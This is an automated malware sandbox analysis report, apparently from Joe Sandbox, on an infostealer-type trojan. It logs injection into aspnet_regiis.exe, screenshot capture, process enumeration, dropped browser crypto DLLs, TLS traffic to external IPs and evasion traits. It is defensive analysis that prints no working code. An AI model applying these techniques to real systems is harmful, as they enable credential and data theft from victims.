Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:49729 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

System Summary

PE file contains section with special chars

Source: file.exe

Static PE information: section name: n@G>6P

PE file has nameless sections

Source: file.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F9610 GetModuleHandleW,NtQueryInformationProcess,	0_2_6E7F9610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C7FB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7FB8C0 rand_s,NtQueryVirtualMemory,	3_2_6C7FB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C7FB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C79F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F9610	0_2_6E7F9610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F7510	0_2_6E7F7510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F9DF0	0_2_6E7F9DF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E805EB0	0_2_6E805EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E805AC0	0_2_6E805AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8022E0	0_2_6E8022E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E801EF0	0_2_6E801EF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E802A00	0_2_6E802A00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E806A10	0_2_6E806A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E808220	0_2_6E808220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E80AB90	0_2_6E80AB90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E805790	0_2_6E805790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E801BB0	0_2_6E801BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F5340	0_2_6E7F5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8017D0	0_2_6E8017D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E804F10	0_2_6E804F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E803B40	0_2_6E803B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E807890	0_2_6E807890
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8044A0	0_2_6E8044A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F9C20	0_2_6E7F9C20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8010E0	0_2_6E8010E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E802CE0	0_2_6E802CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8084F0	0_2_6E8084F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E804800	0_2_6E804800
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E805410	0_2_6E805410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E7F8CC0	0_2_6E7F8CC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8061B0	0_2_6E8061B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E818515	0_2_6E818515
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E80B140	0_2_6E80B140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E806550	0_2_6E806550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E803150	0_2_6E803150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E809560	0_2_6E809560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041C472	3_2_0041C472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042D933	3_2_0042D933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042D1C3	3_2_0042D1C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042D561	3_2_0042D561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041950A	3_2_0041950A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042DD1B	3_2_0042DD1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042CD2E	3_2_0042CD2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041B712	3_2_0041B712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7935A0	3_2_6C7935A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A5440	3_2_6C7A5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D5C10	3_2_6C7D5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7E2C10	3_2_6C7E2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C80AC00	3_2_6C80AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D6CF0	3_2_6C7D6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79D4E0	3_2_6C79D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7BD4D0	3_2_6C7BD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C80542B	3_2_6C80542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A64C0	3_2_6C7A64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C80545C	3_2_6C80545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7F34A0	3_2_6C7F34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7FC4A0	3_2_6C7FC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A6C80	3_2_6C7A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7BED10	3_2_6C7BED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7C0512	3_2_6C7C0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7AFD00	3_2_6C7AFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7F85F0	3_2_6C7F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D0DD0	3_2_6C7D0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79C670	3_2_6C79C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7B9E50	3_2_6C7B9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D3E50	3_2_6C7D3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7E2E4E	3_2_6C7E2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7B4640	3_2_6C7B4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7F9E30	3_2_6C7F9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8076E3	3_2_6C8076E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D7E10	3_2_6C7D7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7E5600	3_2_6C7E5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79BEF0	3_2_6C79BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7AFEF0	3_2_6C7AFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7F4EA0	3_2_6C7F4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C806E63	3_2_6C806E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7B5E90	3_2_6C7B5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7FE680	3_2_6C7FE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D7710	3_2_6C7D7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A9F00	3_2_6C7A9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7C6FF0	3_2_6C7C6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79DFE0	3_2_6C79DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7E77A0	3_2_6C7E77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7DF070	3_2_6C7DF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7B8850	3_2_6C7B8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7BD850	3_2_6C7BD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8050C7	3_2_6C8050C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7DB820	3_2_6C7DB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7E4820	3_2_6C7E4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7A7810	3_2_6C7A7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7BC0E0	3_2_6C7BC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D58E0	3_2_6C7D58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7C60A0	3_2_6C7C60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7EB970	3_2_6C7EB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7AD960	3_2_6C7AD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7BA940	3_2_6C7BA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7CD9B0	3_2_6C7CD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79C9A0	3_2_6C79C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D5190	3_2_6C7D5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7F2990	3_2_6C7F2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C80B170	3_2_6C80B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C80BA90	3_2_6C80BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D9A60	3_2_6C7D9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C802AB0	3_2_6C802AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7B1AF0	3_2_6C7B1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7DE2F0	3_2_6C7DE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7D8AC0	3_2_6C7D8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7ACAB0	3_2_6C7ACAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7922A0	3_2_6C7922A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7C4AA0	3_2_6C7C4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7AC370	3_2_6C7AC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C795340	3_2_6C795340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8053C8	3_2_6C8053C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7DD320	3_2_6C7DD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C79F380	3_2_6C79F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C83ECC0	3_2_6C83ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C89ECD0	3_2_6C89ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C906C00	3_2_6C906C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C91AC30	3_2_6C91AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C84AC60	3_2_6C84AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8D6D90	3_2_6C8D6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C844DB0	3_2_6C844DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C9CCDC0	3_2_6C9CCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C9C8D20	3_2_6C9C8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C96AD50	3_2_6C96AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C90ED70	3_2_6C90ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8C6E90	3_2_6C8C6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C84AEC0	3_2_6C84AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8E0EC0	3_2_6C8E0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C920E20	3_2_6C920E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8DEE70	3_2_6C8DEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C988FB0	3_2_6C988FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C84EFB0	3_2_6C84EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C91EFF0	3_2_6C91EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C840FE0	3_2_6C840FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C846F10	3_2_6C846F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C980F20	3_2_6C980F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8AEF40	3_2_6C8AEF40

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6E80C370 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 6C7D94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 6C7CCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 6C9C09D0 appears 51 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.2145053280.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.2126154485.0000000000AF4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHusbandPlayerEleanor681Grace.NTxu@ vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameHusbandPlayerEleanor681Grace.NTxu@ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: n@G>6P ZLIB complexity 1.00033367083947

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/24@1/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_6C7F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C7F7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\msvcp110.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5756:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3403233819.000000006C9CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382616447.0000000022018000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
